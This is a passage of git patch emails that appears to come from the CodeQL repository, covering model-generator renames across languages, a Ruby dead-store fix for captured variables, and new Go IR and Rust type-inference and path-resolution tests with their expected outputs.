ModelGeneratorInput::parameterAccess(p) and + input = ModelGeneratorInput::parameterApproximateAccess(p) and p = callable.getAParameter() and ( // Parameter of type tp diff --git a/csharp/ql/test/utils/modelgenerator/dataflow/Summaries.cs b/csharp/ql/test/utils/modelgenerator/dataflow/Summaries.cs index 382739b348e1..b59513504d9d 100644 --- a/csharp/ql/test/utils/modelgenerator/dataflow/Summaries.cs +++ b/csharp/ql/test/utils/modelgenerator/dataflow/Summaries.cs @@ -133,35 +133,35 @@ public List ReturnFieldInAList() return new List { tainted }; } - // SPURIOUS-heuristic-summary=Models;CollectionFlow;false;ReturnComplexTypeArray;(System.String[]);;Argument[0].Element;ReturnValue;value;df-generated + // heuristic-summary=Models;CollectionFlow;false;ReturnComplexTypeArray;(System.String[]);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=Models;CollectionFlow;false;ReturnComplexTypeArray;(System.String[]);;Argument[0];ReturnValue;value;dfc-generated public string[] ReturnComplexTypeArray(string[] a) { return a; } - // SPURIOUS-heuristic-summary=Models;CollectionFlow;false;ReturnBulkTypeList;(System.Collections.Generic.List);;Argument[0].Element;ReturnValue;value;df-generated + // heuristic-summary=Models;CollectionFlow;false;ReturnBulkTypeList;(System.Collections.Generic.List);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=Models;CollectionFlow;false;ReturnBulkTypeList;(System.Collections.Generic.List);;Argument[0];ReturnValue;value;dfc-generated public List ReturnBulkTypeList(List a) { return a; } - // SPURIOUS-heuristic-summary=Models;CollectionFlow;false;ReturnComplexTypeDictionary;(System.Collections.Generic.Dictionary);;Argument[0].Element;ReturnValue;value;df-generated + // heuristic-summary=Models;CollectionFlow;false;ReturnComplexTypeDictionary;(System.Collections.Generic.Dictionary);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=Models;CollectionFlow;false;ReturnComplexTypeDictionary;(System.Collections.Generic.Dictionary);;Argument[0];ReturnValue;value;dfc-generated public Dictionary ReturnComplexTypeDictionary(Dictionary a) { return a; } - // SPURIOUS-heuristic-summary=Models;CollectionFlow;false;ReturnUntypedArray;(System.Array);;Argument[0].Element;ReturnValue;value;df-generated + // heuristic-summary=Models;CollectionFlow;false;ReturnUntypedArray;(System.Array);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=Models;CollectionFlow;false;ReturnUntypedArray;(System.Array);;Argument[0];ReturnValue;value;dfc-generated public Array ReturnUntypedArray(Array a) { return a; } - // SPURIOUS-heuristic-summary=Models;CollectionFlow;false;ReturnUntypedList;(System.Collections.IList);;Argument[0].Element;ReturnValue;value;df-generated + // heuristic-summary=Models;CollectionFlow;false;ReturnUntypedList;(System.Collections.IList);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=Models;CollectionFlow;false;ReturnUntypedList;(System.Collections.IList);;Argument[0];ReturnValue;value;dfc-generated public IList ReturnUntypedList(IList a) { @@ -202,7 +202,7 @@ public IEnumerableFlow(string s) tainted = s; } - // SPURIOUS-heuristic-summary=Models;IEnumerableFlow;false;ReturnIEnumerable;(System.Collections.Generic.IEnumerable);;Argument[0].Element;ReturnValue;value;df-generated + // heuristic-summary=Models;IEnumerableFlow;false;ReturnIEnumerable;(System.Collections.Generic.IEnumerable);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=Models;IEnumerableFlow;false;ReturnIEnumerable;(System.Collections.Generic.IEnumerable);;Argument[0];ReturnValue;value;dfc-generated public IEnumerable ReturnIEnumerable(IEnumerable input) { From ee83ca91255b775e4047d95cb315077cb8c21c4d Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Tue, 13 May 2025 13:28:01 +0200 Subject: [PATCH 114/535] Java: Update model generator implementation and test expected output. --- .../utils/modelgenerator/internal/CaptureModels.qll | 12 ++++++------ .../utils/modelgenerator/dataflow/p/Sources.java | 4 ++-- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/java/ql/src/utils/modelgenerator/internal/CaptureModels.qll b/java/ql/src/utils/modelgenerator/internal/CaptureModels.qll index 09223d23b1c5..aa68a4332910 100644 --- a/java/ql/src/utils/modelgenerator/internal/CaptureModels.qll +++ b/java/ql/src/utils/modelgenerator/internal/CaptureModels.qll @@ -92,7 +92,7 @@ module ModelGeneratorCommonInput implements ModelGeneratorCommonInputSig otherStreams) throws IOException { From 6712cce1d7b72564d59c2155802d0d05f6e538e0 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Tue, 13 May 2025 13:35:56 +0200 Subject: [PATCH 115/535] Rust: Update model generator implementation. --- .../utils/modelgenerator/internal/CaptureModels.qll | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/rust/ql/src/utils/modelgenerator/internal/CaptureModels.qll b/rust/ql/src/utils/modelgenerator/internal/CaptureModels.qll index 99e1c527b546..f9b4eee664d6 100644 --- a/rust/ql/src/utils/modelgenerator/internal/CaptureModels.qll +++ b/rust/ql/src/utils/modelgenerator/internal/CaptureModels.qll @@ -54,26 +54,26 @@ module ModelGeneratorCommonInput implements string qualifierString() { result = "Argument[self]" } - string parameterAccess(R::ParamBase p) { + string parameterExactAccess(R::ParamBase p) { result = "Argument[" + any(DataFlowImpl::ParameterPosition pos | p = pos.getParameterIn(_)).toString() + "]" } - string parameterContentAccess(R::ParamBase p) { result = parameterAccess(p) } + string parameterApproximateAccess(R::ParamBase p) { result = parameterExactAccess(p) } class InstanceParameterNode extends DataFlow::ParameterNode { InstanceParameterNode() { this.asParameter() instanceof SelfParam } } bindingset[c] - string paramReturnNodeAsOutput(Callable c, DataFlowImpl::ParameterPosition pos) { - result = paramReturnNodeAsContentOutput(c, pos) + string paramReturnNodeAsApproximateOutput(Callable c, DataFlowImpl::ParameterPosition pos) { + result = paramReturnNodeAsExactOutput(c, pos) } bindingset[c] - string paramReturnNodeAsContentOutput(Callable c, DataFlowImpl::ParameterPosition pos) { - result = parameterContentAccess(c.getParamList().getParam(pos.getPosition())) + string paramReturnNodeAsExactOutput(Callable c, DataFlowImpl::ParameterPosition pos) { + result = parameterExactAccess(c.getParamList().getParam(pos.getPosition())) or pos.isSelf() and result = qualifierString() } From fcecc5a3af70205e749d3d92560d530cd6bf924f Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Tue, 13 May 2025 13:44:12 +0200 Subject: [PATCH 116/535] Cpp: Update model generator implementation. --- .../utils/modelgenerator/internal/CaptureModels.qll | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/cpp/ql/src/utils/modelgenerator/internal/CaptureModels.qll b/cpp/ql/src/utils/modelgenerator/internal/CaptureModels.qll index 93abe205f1a6..b86b2400fccc 100644 --- a/cpp/ql/src/utils/modelgenerator/internal/CaptureModels.qll +++ b/cpp/ql/src/utils/modelgenerator/internal/CaptureModels.qll @@ -189,15 +189,15 @@ module ModelGeneratorCommonInput implements ModelGeneratorCommonInputSig Date: Tue, 13 May 2025 14:46:29 +0200 Subject: [PATCH 117/535] C#: Add cs/call-to-gc to the code quality suite. --- csharp/ql/src/API Abuse/CallToGCCollect.ql | 1 + 1 file changed, 1 insertion(+) diff --git a/csharp/ql/src/API Abuse/CallToGCCollect.ql b/csharp/ql/src/API Abuse/CallToGCCollect.ql index 6a42c4e71f6a..1757336d32af 100644 --- a/csharp/ql/src/API Abuse/CallToGCCollect.ql +++ b/csharp/ql/src/API Abuse/CallToGCCollect.ql @@ -7,6 +7,7 @@ * @id cs/call-to-gc * @tags efficiency * maintainability + * quality */ import csharp From b8f85b3f29c02716924b1cfa51e56efd26a35559 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Tue, 13 May 2025 14:50:23 +0200 Subject: [PATCH 118/535] C#: Update integration test expected output. --- .../posix/query-suite/csharp-code-quality.qls.expected | 1 + 1 file changed, 1 insertion(+) diff --git a/csharp/ql/integration-tests/posix/query-suite/csharp-code-quality.qls.expected b/csharp/ql/integration-tests/posix/query-suite/csharp-code-quality.qls.expected index dc3791621c3e..d1b40bd013e7 100644 --- a/csharp/ql/integration-tests/posix/query-suite/csharp-code-quality.qls.expected +++ b/csharp/ql/integration-tests/posix/query-suite/csharp-code-quality.qls.expected @@ -1,3 +1,4 @@ +ql/csharp/ql/src/API Abuse/CallToGCCollect.ql ql/csharp/ql/src/API Abuse/FormatInvalid.ql ql/csharp/ql/src/API Abuse/NoDisposeCallOnLocalIDisposable.ql ql/csharp/ql/src/Bad Practices/Control-Flow/ConstantCondition.ql From 73bae1627bd671a8674c53091a7463fe2de2fe66 Mon Sep 17 00:00:00 2001 From: yoff Date: Tue, 13 May 2025 15:08:01 +0200 Subject: [PATCH 119/535] ruby: test for DeadStore and captured variables --- .../DeadStoreOfLocal.expected | 1 + .../DeadStoreOfLocal/DeadStoreOfLocal.rb | 30 +++++++++++++++++++ 2 files changed, 31 insertions(+) diff --git a/ruby/ql/test/query-tests/variables/DeadStoreOfLocal/DeadStoreOfLocal.expected b/ruby/ql/test/query-tests/variables/DeadStoreOfLocal/DeadStoreOfLocal.expected index 572308ee51e4..2ec0fe7cc0d0 100644 --- a/ruby/ql/test/query-tests/variables/DeadStoreOfLocal/DeadStoreOfLocal.expected +++ b/ruby/ql/test/query-tests/variables/DeadStoreOfLocal/DeadStoreOfLocal.expected @@ -1 +1,2 @@ | DeadStoreOfLocal.rb:2:5:2:5 | y | This assignment to $@ is useless, since its value is never read. | DeadStoreOfLocal.rb:2:5:2:5 | y | y | +| DeadStoreOfLocal.rb:61:17:61:17 | x | This assignment to $@ is useless, since its value is never read. | DeadStoreOfLocal.rb:56:17:56:17 | x | x | diff --git a/ruby/ql/test/query-tests/variables/DeadStoreOfLocal/DeadStoreOfLocal.rb b/ruby/ql/test/query-tests/variables/DeadStoreOfLocal/DeadStoreOfLocal.rb index 7f3252a58fdc..ccd6ba1bdd2d 100644 --- a/ruby/ql/test/query-tests/variables/DeadStoreOfLocal/DeadStoreOfLocal.rb +++ b/ruby/ql/test/query-tests/variables/DeadStoreOfLocal/DeadStoreOfLocal.rb @@ -33,4 +33,34 @@ def m(y) y = 3 # OK - the call to `super` sees the value of `y`` super end +end + +def do_twice + yield + yield +end + +def get_done_twice x + do_twice do + print x + x += 1 # OK - the block is executed twice + end +end + +def retry_once + yield +rescue + yield +end + +def get_retried x + retry_once do + print x + if x < 1 + begin + x += 1 #$ SPURIOUS: Alert + raise StandardError + end + end + end end \ No newline at end of file From 774b1820c24499896c03e58a1ef0c35f7e00314c Mon Sep 17 00:00:00 2001 From: yoff Date: Tue, 13 May 2025 15:11:00 +0200 Subject: [PATCH 120/535] ruby: also insert `capturedExitRead`-nodes by exceptional exits --- ruby/ql/lib/codeql/ruby/dataflow/internal/SsaImpl.qll | 1 - .../variables/DeadStoreOfLocal/DeadStoreOfLocal.expected | 1 - .../query-tests/variables/DeadStoreOfLocal/DeadStoreOfLocal.rb | 2 +- 3 files changed, 1 insertion(+), 3 deletions(-) diff --git a/ruby/ql/lib/codeql/ruby/dataflow/internal/SsaImpl.qll b/ruby/ql/lib/codeql/ruby/dataflow/internal/SsaImpl.qll index 3c1da6f30138..b4ba8e3ffadd 100644 --- a/ruby/ql/lib/codeql/ruby/dataflow/internal/SsaImpl.qll +++ b/ruby/ql/lib/codeql/ruby/dataflow/internal/SsaImpl.qll @@ -106,7 +106,6 @@ private predicate writesCapturedVariable(Cfg::BasicBlock bb, LocalVariable v) { * at index `i` in exit block `bb`. */ private predicate capturedExitRead(Cfg::AnnotatedExitBasicBlock bb, int i, LocalVariable v) { - bb.isNormal() and writesCapturedVariable(bb.getAPredecessor*(), v) and i = bb.length() } diff --git a/ruby/ql/test/query-tests/variables/DeadStoreOfLocal/DeadStoreOfLocal.expected b/ruby/ql/test/query-tests/variables/DeadStoreOfLocal/DeadStoreOfLocal.expected index 2ec0fe7cc0d0..572308ee51e4 100644 --- a/ruby/ql/test/query-tests/variables/DeadStoreOfLocal/DeadStoreOfLocal.expected +++ b/ruby/ql/test/query-tests/variables/DeadStoreOfLocal/DeadStoreOfLocal.expected @@ -1,2 +1 @@ | DeadStoreOfLocal.rb:2:5:2:5 | y | This assignment to $@ is useless, since its value is never read. | DeadStoreOfLocal.rb:2:5:2:5 | y | y | -| DeadStoreOfLocal.rb:61:17:61:17 | x | This assignment to $@ is useless, since its value is never read. | DeadStoreOfLocal.rb:56:17:56:17 | x | x | diff --git a/ruby/ql/test/query-tests/variables/DeadStoreOfLocal/DeadStoreOfLocal.rb b/ruby/ql/test/query-tests/variables/DeadStoreOfLocal/DeadStoreOfLocal.rb index ccd6ba1bdd2d..b9ac29f1f255 100644 --- a/ruby/ql/test/query-tests/variables/DeadStoreOfLocal/DeadStoreOfLocal.rb +++ b/ruby/ql/test/query-tests/variables/DeadStoreOfLocal/DeadStoreOfLocal.rb @@ -58,7 +58,7 @@ def get_retried x print x if x < 1 begin - x += 1 #$ SPURIOUS: Alert + x += 1 #$ OK - the block may be executed again raise StandardError end end From d37787c4aefdb87c0d7cb6a060a18f903abce661 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Mon, 12 May 2025 20:29:39 +0200 Subject: [PATCH 121/535] Rust: Add type inference tests for literals --- rust/ql/test/library-tests/type-inference/main.rs | 15 +++++++++++++++ .../type-inference/type-inference.expected | 8 ++++---- 2 files changed, 19 insertions(+), 4 deletions(-) diff --git a/rust/ql/test/library-tests/type-inference/main.rs b/rust/ql/test/library-tests/type-inference/main.rs index fa16b6264740..1f49ba47cc0a 100644 --- a/rust/ql/test/library-tests/type-inference/main.rs +++ b/rust/ql/test/library-tests/type-inference/main.rs @@ -978,6 +978,20 @@ mod try_expressions { } } +mod builtins { + pub fn f() { + let x: i32 = 1; // $ MISSING: type=x:i32 + let y = 2; // $ MISSING: type=y:i32 + let z = x + y; // $ MISSING: type=z:i32 + let z = x.abs(); // $ MISSING: method=abs $ MISSING: type=z:i32 + 'c'; + "Hello"; + 123.0f64; + true; + false; + } +} + fn main() { field_access::f(); method_impl::f(); @@ -995,4 +1009,5 @@ fn main() { implicit_self_borrow::f(); borrowed_typed::f(); try_expressions::f(); + builtins::f(); } diff --git a/rust/ql/test/library-tests/type-inference/type-inference.expected b/rust/ql/test/library-tests/type-inference/type-inference.expected index 42e5d90701b9..f5a7893d414e 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.expected +++ b/rust/ql/test/library-tests/type-inference/type-inference.expected @@ -1094,7 +1094,7 @@ inferType | main.rs:975:49:975:62 | ...::Ok(...) | E | main.rs:925:5:926:14 | S1 | | main.rs:975:49:975:62 | ...::Ok(...) | T | main.rs:925:5:926:14 | S1 | | main.rs:975:60:975:61 | S1 | | main.rs:925:5:926:14 | S1 | -| main.rs:983:5:983:20 | ...::f(...) | | main.rs:67:5:67:21 | Foo | -| main.rs:984:5:984:60 | ...::g(...) | | main.rs:67:5:67:21 | Foo | -| main.rs:984:20:984:38 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | -| main.rs:984:41:984:59 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | +| main.rs:997:5:997:20 | ...::f(...) | | main.rs:67:5:67:21 | Foo | +| main.rs:998:5:998:60 | ...::g(...) | | main.rs:67:5:67:21 | Foo | +| main.rs:998:20:998:38 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | +| main.rs:998:41:998:59 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | From c70fd6a58c6ce77391c37d6ded39416381d32c9d Mon Sep 17 00:00:00 2001 From: yoff Date: Tue, 13 May 2025 16:18:33 +0200 Subject: [PATCH 122/535] ruby: add change note --- .../2025-05-13-captured-variables-live-more-often.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 ruby/ql/lib/change-notes/2025-05-13-captured-variables-live-more-often.md diff --git a/ruby/ql/lib/change-notes/2025-05-13-captured-variables-live-more-often.md b/ruby/ql/lib/change-notes/2025-05-13-captured-variables-live-more-often.md new file mode 100644 index 000000000000..94ccaefa0f0f --- /dev/null +++ b/ruby/ql/lib/change-notes/2025-05-13-captured-variables-live-more-often.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* Captured variables are currently considered live when the capturing function exists normally. Now they are also considered live when the capturing function exits via an exception. \ No newline at end of file From b06491125e717856d50d282e2ff6e3aa382328ed Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Tue, 13 May 2025 15:48:29 +0100 Subject: [PATCH 123/535] Expand test for Extract Tuple Instruction --- go/ql/test/library-tests/semmle/go/IR/test.expected | 12 ++++++------ go/ql/test/library-tests/semmle/go/IR/test.ql | 5 +++-- 2 files changed, 9 insertions(+), 8 deletions(-) diff --git a/go/ql/test/library-tests/semmle/go/IR/test.expected b/go/ql/test/library-tests/semmle/go/IR/test.expected index df2f83e33931..ce3decd70595 100644 --- a/go/ql/test/library-tests/semmle/go/IR/test.expected +++ b/go/ql/test/library-tests/semmle/go/IR/test.expected @@ -1,6 +1,6 @@ -| test.go:9:2:9:16 | ... := ...[0] | file://:0:0:0:0 | bool | -| test.go:9:2:9:16 | ... := ...[1] | file://:0:0:0:0 | bool | -| test.go:15:2:15:20 | ... := ...[0] | file://:0:0:0:0 | string | -| test.go:15:2:15:20 | ... := ...[1] | file://:0:0:0:0 | bool | -| test.go:21:2:21:22 | ... := ...[0] | file://:0:0:0:0 | string | -| test.go:21:2:21:22 | ... := ...[1] | file://:0:0:0:0 | bool | +| test.go:9:2:9:16 | ... := ...[0] | test.go:9:13:9:16 | <-... | 0 | file://:0:0:0:0 | bool | +| test.go:9:2:9:16 | ... := ...[1] | test.go:9:13:9:16 | <-... | 1 | file://:0:0:0:0 | bool | +| test.go:15:2:15:20 | ... := ...[0] | test.go:15:13:15:20 | index expression | 0 | file://:0:0:0:0 | string | +| test.go:15:2:15:20 | ... := ...[1] | test.go:15:13:15:20 | index expression | 1 | file://:0:0:0:0 | bool | +| test.go:21:2:21:22 | ... := ...[0] | test.go:21:13:21:22 | type assertion | 0 | file://:0:0:0:0 | string | +| test.go:21:2:21:22 | ... := ...[1] | test.go:21:13:21:22 | type assertion | 1 | file://:0:0:0:0 | bool | diff --git a/go/ql/test/library-tests/semmle/go/IR/test.ql b/go/ql/test/library-tests/semmle/go/IR/test.ql index 1644bd5b2efe..2c4fa43eac00 100644 --- a/go/ql/test/library-tests/semmle/go/IR/test.ql +++ b/go/ql/test/library-tests/semmle/go/IR/test.ql @@ -1,4 +1,5 @@ import go -from IR::ExtractTupleElementInstruction extract -select extract, extract.getResultType() +from IR::ExtractTupleElementInstruction extract, IR::Instruction base, int idx, Type resultType +where extract.extractsElement(base, idx) and resultType = extract.getResultType() +select extract, base, idx, resultType From 7da1ade83501145fd55bd5b90d9de1dff0951e21 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Tue, 13 May 2025 15:54:05 +0100 Subject: [PATCH 124/535] Add tests for extracting tuples in `f(g(...))` --- go/ql/test/library-tests/semmle/go/IR/test.expected | 4 ++++ go/ql/test/library-tests/semmle/go/IR/test.go | 11 +++++++++++ 2 files changed, 15 insertions(+) diff --git a/go/ql/test/library-tests/semmle/go/IR/test.expected b/go/ql/test/library-tests/semmle/go/IR/test.expected index ce3decd70595..c42cdaa9932f 100644 --- a/go/ql/test/library-tests/semmle/go/IR/test.expected +++ b/go/ql/test/library-tests/semmle/go/IR/test.expected @@ -4,3 +4,7 @@ | test.go:15:2:15:20 | ... := ...[1] | test.go:15:13:15:20 | index expression | 1 | file://:0:0:0:0 | bool | | test.go:21:2:21:22 | ... := ...[0] | test.go:21:13:21:22 | type assertion | 0 | file://:0:0:0:0 | string | | test.go:21:2:21:22 | ... := ...[1] | test.go:21:13:21:22 | type assertion | 1 | file://:0:0:0:0 | bool | +| test.go:29:2:29:7 | call to f[0] | test.go:29:4:29:6 | call to g | 0 | file://:0:0:0:0 | int | +| test.go:29:2:29:7 | call to f[1] | test.go:29:4:29:6 | call to g | 1 | file://:0:0:0:0 | int | +| test.go:33:2:33:7 | call to f[0] | test.go:33:4:33:6 | call to v | 0 | file://:0:0:0:0 | int | +| test.go:33:2:33:7 | call to f[1] | test.go:33:4:33:6 | call to v | 1 | file://:0:0:0:0 | int | diff --git a/go/ql/test/library-tests/semmle/go/IR/test.go b/go/ql/test/library-tests/semmle/go/IR/test.go index de0d567dc3ad..d048632b95b7 100644 --- a/go/ql/test/library-tests/semmle/go/IR/test.go +++ b/go/ql/test/library-tests/semmle/go/IR/test.go @@ -21,3 +21,14 @@ func testTypeAssert() { got, ok := i.(string) fmt.Printf("%v %v", got, ok) } + +func f(x, y int) {} +func g() (int, int) { return 0, 0 } + +func testNestedFunctionCalls() { + f(g()) + + // Edge case: when we call a function from a variable, `getTarget()` is not defined + v := g + f(v()) +} From 933e01b3d4de4d1adb7d263f219cf67ecfd0d3d5 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Tue, 13 May 2025 15:55:20 +0100 Subject: [PATCH 125/535] Remove redundant code The case of a CallExpr is actually covered by the next disjunct. Note that the CallExpr case had a subtle bug: `c.getTarget()` is not defined when we are calling a variable. Better to use `c.getCalleeType()`. But in this case we can just delete the code. --- go/ql/lib/semmle/go/controlflow/IR.qll | 4 ---- 1 file changed, 4 deletions(-) diff --git a/go/ql/lib/semmle/go/controlflow/IR.qll b/go/ql/lib/semmle/go/controlflow/IR.qll index 6c7a0c682b53..1a56dfcf2dc9 100644 --- a/go/ql/lib/semmle/go/controlflow/IR.qll +++ b/go/ql/lib/semmle/go/controlflow/IR.qll @@ -718,10 +718,6 @@ module IR { predicate extractsElement(Instruction base, int idx) { base = this.getBase() and idx = i } override Type getResultType() { - exists(CallExpr c | this.getBase() = evalExprInstruction(c) | - result = c.getTarget().getResultType(i) - ) - or exists(Expr e | this.getBase() = evalExprInstruction(e) | result = e.getType().(TupleType).getComponentType(pragma[only_bind_into](i)) ) From 3fcd46ec6c5346eed0de4594ace2b9efa1710de3 Mon Sep 17 00:00:00 2001 From: yoff Date: Tue, 13 May 2025 16:57:32 +0200 Subject: [PATCH 126/535] Apply suggestions from code review Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com> --- .../2025-05-13-captured-variables-live-more-often.md | 2 +- .../query-tests/variables/DeadStoreOfLocal/DeadStoreOfLocal.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/ruby/ql/lib/change-notes/2025-05-13-captured-variables-live-more-often.md b/ruby/ql/lib/change-notes/2025-05-13-captured-variables-live-more-often.md index 94ccaefa0f0f..3a0878e6553c 100644 --- a/ruby/ql/lib/change-notes/2025-05-13-captured-variables-live-more-often.md +++ b/ruby/ql/lib/change-notes/2025-05-13-captured-variables-live-more-often.md @@ -1,4 +1,4 @@ --- category: minorAnalysis --- -* Captured variables are currently considered live when the capturing function exists normally. Now they are also considered live when the capturing function exits via an exception. \ No newline at end of file +* Captured variables are currently considered live when the capturing function exits normally. Now they are also considered live when the capturing function exits via an exception. \ No newline at end of file diff --git a/ruby/ql/test/query-tests/variables/DeadStoreOfLocal/DeadStoreOfLocal.rb b/ruby/ql/test/query-tests/variables/DeadStoreOfLocal/DeadStoreOfLocal.rb index b9ac29f1f255..ae40573c5c18 100644 --- a/ruby/ql/test/query-tests/variables/DeadStoreOfLocal/DeadStoreOfLocal.rb +++ b/ruby/ql/test/query-tests/variables/DeadStoreOfLocal/DeadStoreOfLocal.rb @@ -58,7 +58,7 @@ def get_retried x print x if x < 1 begin - x += 1 #$ OK - the block may be executed again + x += 1 # OK - the block may be executed again raise StandardError end end From 9db38bcb2387b9db83a7e2420da1341d14e129ef Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Tue, 13 May 2025 21:22:45 +0200 Subject: [PATCH 127/535] Rust: Update path resolution tests --- .../library-tests/path-resolution/main.rs | 12 +- .../test/library-tests/path-resolution/my.rs | 6 +- .../path-resolution/path-resolution.expected | 510 +++++++++--------- 3 files changed, 266 insertions(+), 262 deletions(-) diff --git a/rust/ql/test/library-tests/path-resolution/main.rs b/rust/ql/test/library-tests/path-resolution/main.rs index 1179f2f7b589..be467ac47450 100644 --- a/rust/ql/test/library-tests/path-resolution/main.rs +++ b/rust/ql/test/library-tests/path-resolution/main.rs @@ -75,7 +75,7 @@ fn i() { { struct Foo { - x: i32, + x: i32, // $ MISSING: item=i32 } // I30 let _ = Foo { x: 0 }; // $ item=I30 @@ -121,9 +121,13 @@ mod m6 { mod m7 { pub enum MyEnum { - A(i32), // I42 - B { x: i32 }, // I43 - C, // I44 + A( + i32, // $ MISSING: item=i32 + ), // I42 + B { + x: i32, // $ MISSING: item=i32 + }, // I43 + C, // I44 } // I41 #[rustfmt::skip] diff --git a/rust/ql/test/library-tests/path-resolution/my.rs b/rust/ql/test/library-tests/path-resolution/my.rs index 8a94c169f6fe..8daf41351787 100644 --- a/rust/ql/test/library-tests/path-resolution/my.rs +++ b/rust/ql/test/library-tests/path-resolution/my.rs @@ -25,9 +25,9 @@ type Result< >; // my::Result fn int_div( - x: i32, // - y: i32, -) -> Result // $ item=my::Result + x: i32, // $ MISSING: item=i32 + y: i32, // $ MISSING: item=i32 +) -> Result // $ item=my::Result $ MISSING: item=i32 { if y == 0 { return Err("Div by zero".to_string()); diff --git a/rust/ql/test/library-tests/path-resolution/path-resolution.expected b/rust/ql/test/library-tests/path-resolution/path-resolution.expected index 90af94e91d00..2fa13563dc13 100644 --- a/rust/ql/test/library-tests/path-resolution/path-resolution.expected +++ b/rust/ql/test/library-tests/path-resolution/path-resolution.expected @@ -9,26 +9,26 @@ mod | main.rs:39:1:46:1 | mod m4 | | main.rs:103:1:107:1 | mod m5 | | main.rs:109:1:120:1 | mod m6 | -| main.rs:122:1:137:1 | mod m7 | -| main.rs:139:1:193:1 | mod m8 | -| main.rs:195:1:203:1 | mod m9 | -| main.rs:205:1:224:1 | mod m10 | -| main.rs:226:1:263:1 | mod m11 | -| main.rs:236:5:236:12 | mod f | -| main.rs:265:1:277:1 | mod m12 | -| main.rs:279:1:292:1 | mod m13 | -| main.rs:283:5:291:5 | mod m14 | -| main.rs:294:1:348:1 | mod m15 | -| main.rs:350:1:442:1 | mod m16 | -| main.rs:444:1:474:1 | mod m17 | -| main.rs:476:1:494:1 | mod m18 | -| main.rs:481:5:493:5 | mod m19 | -| main.rs:486:9:492:9 | mod m20 | -| main.rs:496:1:521:1 | mod m21 | -| main.rs:497:5:503:5 | mod m22 | -| main.rs:505:5:520:5 | mod m33 | -| main.rs:523:1:548:1 | mod m23 | -| main.rs:550:1:618:1 | mod m24 | +| main.rs:122:1:141:1 | mod m7 | +| main.rs:143:1:197:1 | mod m8 | +| main.rs:199:1:207:1 | mod m9 | +| main.rs:209:1:228:1 | mod m10 | +| main.rs:230:1:267:1 | mod m11 | +| main.rs:240:5:240:12 | mod f | +| main.rs:269:1:281:1 | mod m12 | +| main.rs:283:1:296:1 | mod m13 | +| main.rs:287:5:295:5 | mod m14 | +| main.rs:298:1:352:1 | mod m15 | +| main.rs:354:1:446:1 | mod m16 | +| main.rs:448:1:478:1 | mod m17 | +| main.rs:480:1:498:1 | mod m18 | +| main.rs:485:5:497:5 | mod m19 | +| main.rs:490:9:496:9 | mod m20 | +| main.rs:500:1:525:1 | mod m21 | +| main.rs:501:5:507:5 | mod m22 | +| main.rs:509:5:524:5 | mod m33 | +| main.rs:527:1:552:1 | mod m23 | +| main.rs:554:1:622:1 | mod m24 | | my2/mod.rs:1:1:1:16 | mod nested2 | | my2/mod.rs:12:1:12:12 | mod my3 | | my2/mod.rs:14:1:15:10 | mod mymod | @@ -62,7 +62,7 @@ resolvePath | main.rs:30:17:30:21 | super | main.rs:18:5:36:5 | mod m2 | | main.rs:30:17:30:24 | ...::f | main.rs:19:9:21:9 | fn f | | main.rs:33:17:33:17 | f | main.rs:19:9:21:9 | fn f | -| main.rs:40:9:40:13 | super | main.rs:1:1:649:2 | SourceFile | +| main.rs:40:9:40:13 | super | main.rs:1:1:653:2 | SourceFile | | main.rs:40:9:40:17 | ...::m1 | main.rs:13:1:37:1 | mod m1 | | main.rs:40:9:40:21 | ...::m2 | main.rs:18:5:36:5 | mod m2 | | main.rs:40:9:40:24 | ...::g | main.rs:23:9:27:9 | fn g | @@ -74,7 +74,7 @@ resolvePath | main.rs:61:17:61:19 | Foo | main.rs:59:9:59:21 | struct Foo | | main.rs:64:13:64:15 | Foo | main.rs:53:5:53:17 | struct Foo | | main.rs:66:5:66:5 | f | main.rs:55:5:62:5 | fn f | -| main.rs:68:5:68:8 | self | main.rs:1:1:649:2 | SourceFile | +| main.rs:68:5:68:8 | self | main.rs:1:1:653:2 | SourceFile | | main.rs:68:5:68:11 | ...::i | main.rs:71:1:83:1 | fn i | | main.rs:74:13:74:15 | Foo | main.rs:48:1:48:13 | struct Foo | | main.rs:81:17:81:19 | Foo | main.rs:77:9:79:9 | struct Foo | @@ -88,241 +88,241 @@ resolvePath | main.rs:87:57:87:66 | ...::g | my2/nested2.rs:7:9:9:9 | fn g | | main.rs:87:80:87:86 | nested4 | my2/nested2.rs:2:5:10:5 | mod nested4 | | main.rs:100:5:100:22 | f_defined_in_macro | main.rs:99:18:99:42 | fn f_defined_in_macro | -| main.rs:117:13:117:17 | super | main.rs:1:1:649:2 | SourceFile | +| main.rs:117:13:117:17 | super | main.rs:1:1:653:2 | SourceFile | | main.rs:117:13:117:21 | ...::m5 | main.rs:103:1:107:1 | mod m5 | | main.rs:118:9:118:9 | f | main.rs:104:5:106:5 | fn f | | main.rs:118:9:118:9 | f | main.rs:110:5:112:5 | fn f | -| main.rs:130:19:130:24 | MyEnum | main.rs:123:5:127:5 | enum MyEnum | -| main.rs:133:17:133:22 | MyEnum | main.rs:123:5:127:5 | enum MyEnum | -| main.rs:133:17:133:25 | ...::A | main.rs:124:9:124:14 | A | -| main.rs:134:17:134:22 | 